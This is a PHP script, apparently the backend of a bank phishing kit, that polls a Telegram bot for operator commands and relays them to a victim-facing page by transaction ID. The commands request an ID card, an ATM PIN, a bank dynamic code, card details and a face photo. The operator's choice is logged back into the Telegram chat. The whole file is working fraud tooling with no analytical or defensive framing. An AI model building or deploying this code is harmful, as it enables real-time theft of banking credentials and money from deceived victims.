<?php
session_start();
header('Content-Type: application/json');

$configPath = __DIR__ . '/../config.php';
if (!file_exists($configPath)) {
    echo json_encode(['action' => null, 'error' => 'Falta config.php']);
    exit;
}
$config = require $configPath;

$transactionId = $_POST['transactionId'] ?? '';
$messageId     = $_POST['messageId'] ?? '';

if (!$transactionId || !$messageId) {
    echo json_encode(['action' => null, 'error' => 'Faltan datos']);
    exit;
}

// Verificación por sesión
if (
    isset($_SESSION['current_transaction'], $_SESSION['current_action']) &&
    $_SESSION['current_transaction'] === $transactionId
) {
    $action = $_SESSION['current_action'];
    unset($_SESSION['current_transaction'], $_SESSION['current_action']);
    echo json_encode(['action' => $action]);
    exit;
}

$offset = $_SESSION['last_update_id'] ?? 0;
$ch = curl_init("https://api.telegram.org/bot{$config['bot_token']}/getUpdates?offset=" . ($offset + 1));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

$data = json_decode($response, true);
$action = null;

if (!empty($data['result'])) {
    foreach ($data['result'] as $update) {
        $_SESSION['last_update_id'] = $update['update_id'];

        if (
            isset($update['callback_query']['data']) &&
            strpos($update['callback_query']['data'], $transactionId) !== false
        ) {
            $callbackData = $update['callback_query']['data'];
            list($actionType) = explode(':', $callbackData);
            
            $allowedActions = ['error', 'cedula', 'error_logo', 'error_cajero', 'pedir_dinamica', 'error_dinamica', 'confirm_finalizar', 'tarjeta'];

            if (in_array($actionType, $allowedActions)) {
                $action = $actionType;

                // --- DICCIONARIO PARA REESCRIBIR EL MENSAJE EN TELEGRAM ---
                $accionHumana = match($actionType) {
                    'error'             => '📸 REINTENTAR CARA',
                    'cedula'            => '🪪 PEDIR CÉDULA',
                    'error_logo'        => '❌ ERROR DE LOGO',
                    'error_cajero'      => '🏧 CLAVE DE CAJERO',
                    'pedir_dinamica'    => '🔑 PEDIR DINÁMICA',
                    'error_dinamica'    => '⚠️ ERROR DINÁMICA',
                    'confirm_finalizar' => '🏁 FINALIZAR',
                    'tarjeta'           => '💳 REDIRIGIR TARJETA',
                    default             => 'Acción desconocida'
                };

                // Identificar al operador
                $from = $update['callback_query']['from'];
                $operador = $from['username'] ? '@'.$from['username'] : $from['first_name'];

                // Obtener texto anterior
                $oldText = $update['callback_query']['message']['text'] ?? '';

                // Nuevo texto con traza
                $newText = $oldText . "\n\n<b>✅ Acción:</b> {$accionHumana}\n<b>👤 Operador:</b> {$operador}";

                // REESCRIBIR MENSAJE (editMessageText)
                $editPayload = [
                    'chat_id' => $config['chat_id'],
                    'message_id' => $messageId,
                    'text' => $newText,
                    'parse_mode' => 'HTML',
                    'reply_markup' => json_encode(['inline_keyboard' => []])
                ];

                $chEdit = curl_init("https://api.telegram.org/bot{$config['bot_token']}/editMessageText");
                curl_setopt($chEdit, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($chEdit, CURLOPT_POST, true);
                curl_setopt($chEdit, CURLOPT_POSTFIELDS, json_encode($editPayload));
                curl_setopt($chEdit, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
                curl_exec($chEdit);
                curl_close($chEdit);
                
                break;
            }
        }
    }
}

echo json_encode(['action' => $action]);